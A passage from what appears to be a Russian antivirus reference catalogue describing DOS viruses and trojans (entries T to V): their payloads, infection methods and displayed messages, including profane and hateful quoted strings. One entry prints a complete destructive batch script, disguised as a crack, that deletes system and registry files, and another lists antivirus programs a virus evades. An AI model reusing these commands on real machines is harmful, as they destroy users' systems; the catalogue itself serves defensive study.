Жанр: Учеба
Описания вирусов
...с-вирус. В пятницу 13 числа выводит красивую
переливающуюся всеми цветами картинку с надписями "KELA". Содержит
тексты:
This is KELA-17 version virus.
KELA-17 very nice virus . Ha Ha HaHa
KELA - 17.Выражаю свою благодарность автору TPE, KELA.
Copyright © 1994 by KELA. All Rights Reserved. KELA вечен. Смерть
Лозинскому и Мостовому. Смерть всем пользователям ЭВМ.
TPE.Lamer
Опасный резидентный полиморфик. В декабре уничтожает 30 первых секторов
диска C: и выводит текст:
----- The
| _ | Lamer Exterminator
[°]T[°] Virus by
| | | ---" UGLY BOY "---
| ь | Hi Dude!.Sorry for
| \_/ | your HD! HiHiHiHi!
\___/ 23/10/1993 Italy
TPVO.3783
Неопасный резидентный стелс-вирус. Заражает COM, EXE, NewExe - файлы и
загрузочные сектора дисков. Внедряет свой код в ядро DOS, поэтому его
очень сложно найти в памяти компьютера.
Traka.1471
Неопасный файлово-загрузочный вирус. Содержит текстовую строку [TRAkA-
TRAkA]/ARGENTiNA
Trakia.561, 570, 653, 1070
Резидентные вирусы. Trakia.653, 1070 - опасны. Trakia.653 портит файлы,
имеющие расширения DWG, DWF, DXG, DXF, а Trakia.1070 производит поиск
какой-то строки в стартующих EXE-файлах и если находит ее, то правит
этот файл.
Traven.515
Неопасный нерезидентный вирус. Иногда "трясет" экран. Содержит строку
"by Traven(Traveller)".
Trident.346
Полиморфный опасный вирус. После заражения файла выводит на экран:
---------- -------- ------ -------- ---------- — -- ----------
— -- — -- — -- — ---- — --
— -------- — -- — ------ — -- — --
— -- — -- — -- — -- ---- --
— -- — ------ -------- ---------- — -- --
Trivial.Destroer.49
Содержит текст "DESTROER".
Trojan - "троянские" программы. Содержащийся в данных программах код не
является вирусным кодом. Как правило, данные программы несут в себе
деструктивные функции.
Trojan.BPC
Производит поиск файлов *.* и записывает в них 392 байта кода,
уничтожающего 255 секторов первого жесткого диска и выводящего на экран
текст:
CONGRATULATIONS !
Y0UR ZYZtEM WAZ PHUCKEd bY
BBS PhAcKeRz ClUb `1994 !
UZ 0UR fREE 20ftWARE.....
:: © 1994 BBS PhUCkERZ C1Ub ::
Trojan.Duck
Данный троянец получен с помощью программы BAT2COM из пакетного файла
следующего содержания:
---------------------------
Da Ultimate Crack
by Plucky Duck &
Da AC-DC Boy
---------------------------
Cracking...
Done...
DEL c:\windows\win.ini
DEL c:\windows\system.ini
ATTRIB -r -a -s -h c:\command.com
DEL c:\command.com
ATTRIB -r -a -s -h c:\windows\user.dat
DEL c:\windows\user.dat
ATTRIB -r -a -s -h c:\windows\user.da0
DEL c:\windows\user.da0
ATTRIB -r -a -s -h c:\windows\system.dat
DEL c:\windows\system.dat
ATTRIB -r -a -s -h c:\windows\system.da0
DEL c:\windows\system.da0
ATTRIB -r -a -s -h c:\io.sys
DEL c:\io.sys
Trojan.GetIt
Данная программа предназначена для воровства паролей для Novell
NetWare. Троянский код записывается по вирусному принципу к любой COM-
программе. При старте такой программы, данный "троянец" устанавливает
свою копию резидентно в память "на INT 21h", ждет старта программы
LOGIN, после чего записывает вводимый пользователем пароль в указанный
в теле "троянца" файл.
Trojan.Himan
Производит поиск в среде окружения (environment) программы указателя
"MAXIMUS=". Далее в указанном каталоге ищет файл MAX.OVL и модифицирует
в нем по определенным смещениям 2 байта. Содержит текст "-=HiMAN=-".
Trojan.MustDie
Уничтожает файлы C:\AUTOEXEC.BAT, C:\CONFIG.SYS,записывая в них тексты:
rem Hey... you dead! . . . POOF!!!! © D.A.
2:50xx/19 - MUST DIE!!! © D.A.
Выводит при старте на экран текст:
D-1
--------------------------------¬
¦ New virus base by Dmitry A. ¦
¦ 2:50xx/19.10@FidоНЕТ ¦
--- d-1.com /d L--
- V.M. - I hape you!!! -
- А СДЕСЬ МОГЛА БЫТЬ ВАША РЕКЛАМА ! -
- -
--¬ ---
L--------------------------------
Trojan.PswStor, Trojan.PsySend
Данные троянцы предназначены для сбора паролей в сети Nowell NetWare
(Trojan.PswStor) и для посылки сообщений всем пользователям сети без
указания адреса и имени пользователя, от которого данное сообщение
исходило (Trojan.PsySend). Автором данных "игрушек" является
белорусский "орел" из города Бреста Андрей Башаримов 2:454/2.175.
Trojan.Shock
Пытается отформатировать дорожку первого жесткого диска. Выводит
сообщения:
----- ----- ------- ----- ------- — -- ----- -------
- - - - - - - - - - - -
- ----- ---- ------ - - - ----- ----
- - — - - - - - - - - — - -
------ - - ------ — ----- --- ---------- --------------
- - - - - - - --
---- ------ - - - ----
- - - - - - - - -
------ — -- ------ ------ — --
------¬ --¬ --¬ ------¬ -------¬ ------¬ ------¬ ------¬ --¬
L-¬ --- ¦ ¦ ¦ ¦ ¦ ----- L¬ --¬ ¦ ¦ ----- ¦ ----- L-¬ --- ¦ ¦
¦ ¦ ¦ L-- ¦ ¦ L-¬ ¦ L-- ¦ ¦ L-¬ ¦ L---¬ ¦ ¦ ¦ ¦
¦ ¦ ¦ --¬ ¦ ¦ --- ¦ --¬ ¦ ¦ --- L---¬ ¦ ¦ ¦ L--
¦ ¦ ¦ ¦ ¦ ¦ ¦ L---¬ — L-- ¦ ¦ L---¬ ----- ¦ ¦ ¦ --¬
L-- L-- L-- L------ L------- L------ L------ L-- L--
--------- ------- ------- — --
--- --------- --- ------ ------- --- ---
---- ------------- ---- ------ ------- -----
¦¦ — ------ ------ ---¦¦ ------- — -- ¦-¦
-----------------------
- -¦¦- --------------¦¦¦- ------- ------- ------- -------
--- - - ------------ ---- — --- — -- — -- — --
¦-¦¦ ----------------- --- — -- — -- — -- — --
--¦--- - ---------------------- ------- ------- ------- -------
¦-------¦¦ -------------------
------- ¦ --------------- ------- — -- -------
------ --------- ------- --- --- ------
----¦¦ -------------------- ------- ----- ------
— ------ --------------------- - ------ ¦-¦ -------
--¦¦------ ----------------------
- ------- -------------------- MY DEAR
¦------- ------------------ — -- ------ ------
------¦¦ -------------- - — -- — -- — --
------ ------------ - ------- — --- — ---
— ¦--------- ---- — -- — -- — --
-------- — -- — ------ ------
Trojan.TimeBomb
Троянская программа TimeBomb записывает в MBR жесткого диска
деструктивный код, который уничтожает содержимое всего жесткого диска в
определенный, указанный пользователем день. При записи в MBR "троянца"
содержимое оригинального загрузчика сохраняется в файле MBR.BAK.
Trojan.Xmas
На фоне поздравления с Рождеством переименовывает файлы C:\IO.SYS и
C:\MSDOS.SYS в C:\*.SIS, а файлы C:\WINDOWS\SYSTEM.INI,
C:\WINDOWS\WIN.INI в C:\WINDOWS\*.INY. После чего удаляет себя.
Trooper.2259
Резидентный стелс-вирус. Содержит текстовые строки "3О4О5О6О7О8Оd",
"TROOPER V1.0 Hungary-7500", "EXECOMCLIPPERCOMSPEC=", "BEFKNOW".
Trout.6804
Опасный резидентный полиморфный вирус. Первым делом вирус пытается
найти файлы по маскам C:*.COM, C:\DOS\KEYB.COM, C:\DOS\*.COM, *.COM и
заразить 5 файлов. Удаляет файлы CHKLIST.MS,CHKLIST.CPS,ANTI-VIR.DAT,
\SCANCRC.CRC,\_CHK.CHK,\NAV_._NO.Вирус скрывается в памяти от следующих
программ:
SCAN.NETSCAN.CLEAN.VSHIELD.F-PROT.VSAFE.MSAV.CPAV.NAV.TBAV.TBSCAN.
VDS.NOVI.AVP.-V.-VPRO.VIREX.AVSCAN.VI-SPY.GUARD.FINDVIRU.TNT.TNTAV.
HTSCAN.NEMESIS.NOD.ITAV.VI.VIRIT.IM.WIN.TD.DEBUG.
При старте любой из этих программ, вирус "отпускает" захваченный им INT
21h, шифрует свою резидентную копию с помощью полиморфного механизма,
"перехватывает" INT 22h, устанавливая его на полиморфный расшифровщик,
уничтожает свою незашифрованную копию в памяти и отдает управление
DOS. После обратного получения управления "через" INT 22h, по окончании
работы антивирусной программы, вирус расшифровывает свой код и снова
"перехватывает" INT 21h. Вирус содержит текст:
This is "The Second NewBorn Trout" virus
Programmed in the city of Milan, North Italy
[C] The Tricky Trout 1995
Mutation Engine: TT-PEB (Tricky Trout Plurimorphic Encryptor Builder)
version 2.01 (TPE standard)
Trurl.846
Содержит строки "Bengal Tiger, v3p0x ## By Trurl, the great constructor,
1993## Buenos Aires, Argentina" и "Trurl".
Trust.687
Неопасный резидентный вирус. Устанавливает свою копию в область
видеопамяти BB00:0000 и "перехватывает" INT 10h, 21h. При смене
видеорежима (f.0 Int 10h) вирус "освобождает" "захваченные" им
прерывания. Иногда выводит текст:
Принцип взаимного довереия выше взаимных обязательств.
С. Мавроди.
Truth.503
Неопасный резидентный вирус. Выводит текст "THE TRUTH IS OUT THERE".
Truxested.based - вирусы
Данные вирусы сконструированы, видимо, для "демонстрации" видеоэффектов
различных вирусов. Резидентные, заражают COM-файлы.Первого числа месяца
выводят на экран текст:
TRUXESTED virus presents:
the demo effect of the virus ****
где **** - это название вируса, чей эффект будет продемонстрирован
Truxested.based - вирусами. После чего демонстрируется видеоэффект до
нажатия на клавишу Esc. В моей коллекции существует 81 Truxested.based-
вирус. Пытаются сразу же заразить следующие файлы: c:\dos\doskey.com,
c:\dos\edit.com, c:\dos\format.com, c:\dos\keyb.com, c:\dos\sys.com,
c:\dos\unformat.com,c:\windows\win.com.
Tsh.2UP.6000
Опасный шифрованный вирус. В COM-файлы внедряется в начало файла. В
EXE-файлы внедряет свой код в область файла, следующую за заголовком
(header) EXE-файла, корректируя соответствующим образом таблицу
перемещаемых символов (relocation table). Механизм заражения следующий
- при старте программы, в текущем каталоге вирус создает новый файл
OBJXCREF.COM, копирует в него содержимое программы, удаляет исходный
файл и переименовывает файл OBJXCREF.COM в файл с первоначальным
именем. На этапе записи в файл OBJXCREF.COM вирус сначала записывает
6000 байт своего кода (для COM-файлов) или скорректированный заголовок
файла (для EXE-файлов), потом вирусный код, и только после этого
основное тело зараженного файла. Вирус выводит сообщения: "Hello BOBBY!
(BOBBY-Trash Soft & Hardware)" или
г================================================¬
¦ Attention ... No smoking ! Stop Talking ! ¦
г--------¦------------------------------------------------¦--------¬
¦ 2(Two) Unlimited Programists presents: 2UP Virus Version 1.0 ¦
L--------T------------------------------------------------T---------
¦ -=======¬ -T- -T- г---------¬ ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦ 2UP ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ == ¦ ¦ ¦---------- ¦
¦ -=======- ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦
¦ L======== L-------- -¦- ¦
¦ ¦
¦ We'll turn your life into nightmare ¦
L================================================-
Содержит тексты:
Hullo ! Welcome to 2UP virus. Don`t try so hard!
Hallo Mr.Virusolog,now you decod me !It's about fucking time.
What do you think about 2UP Virus ?
This Virus Was Designed in 1992-1994 .It Dedicated For Nobody..
I Want To BreakFree ! Right Now
2UP(C)1994
AID COMMAND ANTI AV HOOK SOS TSAFE -V SCAN NC VC TNT ADINF
Вирус не заражает программы, содержащие в своем имени сочетания букв из
последней строки.
Tsh.Banana.2413
Неопасный резидентный шифрованный стелс-вирус. Иногда (видимо, при
копировании кода резидентного вируса из памяти в файл) может вывести на
экран или записать в файл текст:
----------------------------------
г================================¬-
¦ (C) 1994 Trash Soft & HardWare ¦-
L================================-
Содержит тексты:
Dig here!
Sometimes the banana is just a banana
г==================================¬
¦ The people are still having sex, ¦
¦ and nothing seems to stop them...¦
L==================================-
Don't try to fuck me , Hacker!
Somebody in this world is having sex right now...
Designed in Tver. 1993-94
It's dedicated to all guys from Tver Politechnical Institute,
especially EVM-24, ATP-25, ASU-21...
Release date: 23-May-1994
Tu28II.535
28 февраля в 23 часа выводит сообщение "Tu 28.II !A!".
Tubo
Неопасный загрузочный вирус. Иногда расшифровывает и выводит на экран
текст "ШstanbulCCC was here. He He". Свое название получил за то, что
в выводимой на экран строке в ее зашифрованном состоянии присутствует
текст "tubo".
Tumot.432
Неопасный резидентный вирус. При старте программ, имеющих в своем имени
буквосочетания "WEB." или "AIDS" вирус обезвреживает свою резидентную
копию в памяти, а затем снова ее активизирует.
Tune.544
Неопасный резидентный вирус. При нажатии на Ctrl-Alt-Del вирус издает
некие музыкальные звуки и возвращает управление в DOS.
Tune.663
Неопасный резидентный вирус. После запуска 33 программ сдвигает
изображение на экране вниз и влево.
Turn.557, Turn.571
Неопасные резидентные вирусы. 31 числа изменяют на зеркальные
(перевернутые) изображения букв латинского алфавита от 'A' до 'Z', по
одной букве после каждого запущенного на исполнение COM-файла.
Turner.3276
Опасный резидентный полиморфный вирус. Располагает свою резидентную
копию в области памяти EMS, и только 215 байт располагаются в верхних
адресах памяти. Эти 215 байт производят анализ вызываемых функций INT
21h и производят передачу управления основному вирусному коду. В январе
вирус уничтожает содержимое CMOS-памяти, выводит сообщение:
The Turner Virus Version 3.56
This virus was written in Voronezh in July of 1993
Modified and enhanced with mutant engine & high implantation
In July-November of 1995 by RingWraith
TRY TO CATCH ME IF U RELY K00L!
CMOS ...perverted
MBR ...perverted
Whole disk ...wait...
после чего уничтожает содержимое секторов первого жесткого диска.
Содержит тексты "EMMXXXX0", "=YooHoo=", "SHUTEND".
TV.730
Опасный резидентный вирус. Периодически стирает сектора диска C:.
Содержит строку "TV".
Twofs
Опасный загрузочный вирус. После 256 загрузок с жесткого диска
уничтожает содержимое 102 первых секторов первого жесткого диска.
Uddy.2617
Очень опасные резидентные вирусы. Уничтожают содержимое секторов диска,
записывая в них строку "UDDY UDDY UDDY...", выводят эту строку на экран
и перезагружают компьютер.
UFO.1468
Опасный резидентный шифрованный вирус. "Перехватывает" INT 9,21h. После
3000 нажатий на клавиши вирус выводит один из текстов:
THEY... are here !
We will see who is gonna survive, motherfuckers !
You are all some fuckin Unknown Flying Objects !
UFO has come to destroy the fucking thresh around here !
После 30000 нажатий на клавиши вирус выводит текст "I am sick of a
bullshit like" и уничтожает содержимое CMOS-памяти. Имеет текст "UFO".
Ukraine.3201 (1-3), 3215, 3300, 3537, 3627, 3633
Очень опасные резидентные полиморфные вирусы. Ukraine.3537, 3627, 3633
используют в полиморфном расшифровщике перехват INT 1Ch (таймер). 24
числа месяца выводят текст:
--
--- ---- ---
— -- ---- — --
— -- ---- — --
— -- ---- — --
— -- ---- — --
— -- — -- --
— -- — -- --
— -- — -- --
— -- — -- --
— -- — -- --
— --- — --- --
— --- — --- --
------ — ------
— ---- ---- ---- --
— ------- — -- ------- --
— ------ — -- ------ --
— --------- --------- --
— -- ---- — --
----------------------------------------------------
— -- --
--- — ---
--------
----
24 СЕРПНЯ - ДЕНЬ НЕЗАЛЕЖНОСТI УКРАIНИ !!!
Играют гимн Украины и уничтожают первый жесткий диск. Ukraine.3537,3627
пытаются уничтожить таблицы ADinf на всех доступных дисках. Содержат
также тексты:
Ukraine.3201, 3215 - СЛАВА УКРАIНI !!!
Ukraine.3201(2),3300,3537,3627,3633 - ПАМ'ЯТАЙТЕ КЛЯТI МОСКАЛI !
ОТОЖ !
Ukraine.3201 (3) - ЩЕ НЕ ВМЕРЛА УКРАIНА, ЩЕ НЕ ВМЕРЛА ВОЛЯ !!!
ОТОЖ !
UNashamed (1,2)
Неопасные загрузочные вирусы. После 10:00 и заражения 2 дисков могут
вывести на экран текст "the UNashamed Naked!" и "повесить" систему.
Unbidden.507
Неопасный нерезидентный вирус. Имеет текст ""1996Nov3\Fryazino\Mikhail
G.\Unbidden v1.00"".
UnGame.645
После 4095 нажатий на клавиши переводит монитор в текстовый режим.
UnGame.823
Неопасный резидентный вирус. При установке графического режима #13h
320x200 "перегружает" систему.
Uniform
Неопасный загрузочный вирус. Содержит текст "UNIFORM".
Union.1449, 1531
Неопасные зашифрованные нерезидентные вирусы. Иногда выводят в
графическом видеорежиме два флага: украинский желто-синий и российский
бело-сине-красный и текст "УКРАИНА И РОССИЯ ПОРОДНИЛИСЬ НАВСЕГДА !!!".
Содержат тексты "UNION 2.0" (или "UNION 2.5" - Union.1531) и "*.exe
AIADSCNCPATH".
Urkel (1,2)
Неопасные загрузочные стелс-вирусы. Иногда выводят на экран строку
"Urkel".
Urod.662, 773
Очень опасные нерезидентные вирусы. Оставляют в видеопамяти резидентный
код, который удаляет все открываемые файлы и выводит текст:
Urod.662 - Губатый лаборант-урод
Urod.773 - С новым годом !!!
Urphin.1621
Неопасный резидентный вирус. По возможности, устанавливает свою
резидентную копию в область UMB. При старте программы TPC*.* вирус во
всех открываемых файлах *.PAS пытается найти строку "BEGIN" или
"begin". Если данная строка найдена, то вирус сразу же за этой строкой
записывает текст "ASM", директиву "DB" и конвертирует собственный код в
ассемблерные инструкции в виде байт данных. Заканчиваются вирусные
данные строкой "END;". Далее вирус записывает продолжение *.PAS-файла.
В конец данного *.PAS-файла вирус записывает строку-идентификатор
"{URPHIN0 —Ё ¦ ——¤}". При закрытии же этого файла (f.3eh Int 21h)
вирус удаляет из него свои данные и восстанавливает файл в
первоначальное состояние. Т.о., при компиляции PAS-файла, содержащего
вирусные данные, получается исполняемый (COM или EXE) инфицированный
файл. Но при визуальном просмотре исходного PAS-файла никаких изменений
в нем обнаружено не будет.
USAHymn.1339
Неопасный нерезидентный вирус. Содержит текст "USA HYMN". 1, 21 и 24
числа исполняет мелодию "Америка", которая никаким образом гимном
Америки не является.
UVScan.1633
Неопасный резидентный полиморфный вирус. Не заражает файлы,начинающиеся
на V3 или SCAN.
V-Sign
Неопасный полиморфный (semipolymorphic) загрузочный вирус. После 64
заражений выводит на экран картинку:
---- ----
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------------
----------
--------
------
----
V2Px.1260, V2Px.V2P6.1993
Неопасные нерезидентные полиморфные вирусы. При заражении файлов
используют INT 01, 03 для динамической расшифровки своего кода.
Vacsina.634
Опасный резидентный вирус. 21 мая уничтожает содержимое загрузочного
сектора текущего диска, записывая в него "Happy birthday to Andrew !".
Vacsina.1206, 1212, 1269, 1339
Неопасные резидентные вирусы. Vacsina.1206, 1212 издают звуковой сигнал
при заражении файла. Vacsina.1269 иногда выводит на экран текст "Az sum
vasta lelja.". Содержат строку "VACSINA".
Vandal.1895
Неопасный резидентный шифрованный вирус. Если значение минут системного
времени равно 20, то вирус выводит на экран текст:
Вас приветствует:
очень опасный полиморфный файлово-загрузочный
стелс-вирус: Вандал. 1996г. г.Волгоград.
Етот вирус написан великорусским вирусописателем
пока не очень извесным под кличкой Dark Vandal!!!
Vanitas.2040
Опасный резидентный зашифрованный вирус. Пытается заразить файлы
C:\WINDOWS\COMMAND.COM и C:\COMMAND.COM. 27 марта проявляется каким-то
видеоэффектом. Содержит тексты "VANITAS++ v1.1 ©GR97 by ANAX.Member
of "VBB"." и "Everyone is Original. [E-75]Chill-Out.".
Varna.1536
Опасный файлово-загрузочный вирус. 8 числа месяца уничтожает содержимое
первого жесткого диска. "Перехватывает" INT 13h и 21h. При чтении
заголовка EXE-файлов (28 байт) заражает данные файлы.
VarWorm.913
Неопасный резидентный зашифрованный вирус. При заражении файлов
записывает перед собой до 64K случайных байт. Содержит текст "Worm!".
VBasic
Пытается заразить *.COM и *.EXE-файлы на всех дисках. Иногда выводит
сообщение "Access denied." и возвращает управление DOS. Содержит строку
"*.EXE BASRUN BRUN *.COM IBMBIO.COM IBMDOS.COM COMMAND.COM *.*".
VCC.based - вирусы
Данные вирусы сконструированы с помощью вирусного конструктора VCC.
Вирусы, созданные с помощью VCC-конструктора заражают COM-файлы.
Содержат текст "[IE-VCC v0.19с]".
VCL.466
Неопасный нерезидентный вирус-спутник. Иногда издает "щелкающие" звуки.
Содержит текст "[VCL]".
VCL.662
Опасный нерезидентный вирус. Содержит тексты:
— - Это Рожа Лозинского,Понявшего,Что aidstest-г08но
- А Вот Мостового Еще Не Прохватило...
CHLEN To Danilov's Laboratory !
VCL.BeePoP.587
Неопасный вирус-спутник. Производит поиск EXE-файлов и создает файлы-
спутники с тем же именем, как и у EXE-файла, но с расширением COM, куда
записывает 587 байт своего кода. При старте вирус выводит на экран текст:
Well, nobody is going to give a damn when they found your dead,limp,body in the
river next week with a knife through your heart. They'll just laugh and say...
"Good, I hated anyways." [VCL]
Также имеет текст "FAKE DARK AVENGER!!!© BeePoP / [PuKe] WaReZ 1992".
VCL.Mom.974
Опасный нерезидентный вирус. В апреле после 7 числа уничтожает
содержимое логических разделов жесткого диска, после чего выводит
сообщение:
You are hereby notified that your system has just encountered
a very unusuall disk error. This error can be very fatal!!!
Please check your system for any further errors.
DOS EXCEPTION ERROR #13
Содержит строку "MoM#\/# ( ) #\/#".
VCL.Timothy
Неопасный нерезидентный вирус-спутник. 17 января или по понедельникам
выводит сообщение:
Timothy Leary's dead!
No..hey's outside looking in...
Также содержит текст "[VCL] TIMOTHY LEARY WANTS TO TALK410-721-9580.
TIMMY TEACH THEYOUNG THEY NEED GUIDANCE-GRAViTY'S RAiNBOW".
VCode.2540
Очень опасный нерезидентный вирус. В декабре пытается уничтожить
информацию на всех доступных логических устройствах жесткого диска.
Содержит зашифрованные текстовые строки "COMMAND.COM", "X:\CONFIG.SYS".
VComm.637
Неопасный нерезидентный вирус. Производит поиск и заражение
*.EXE-файлов в текущем директории. При заражении вирус увеличивает
размер файла до величины кратной 512 байт, после чего приписывает свой
код. Вирус увеличивает количество перемещаемых элементов EXE -файла на
1. Вирус оставляет в сегменте BFFE:0000h резидентную программу на INT
13h, запрещающую запись на диск.
VC
...Поділитися у соцмережах
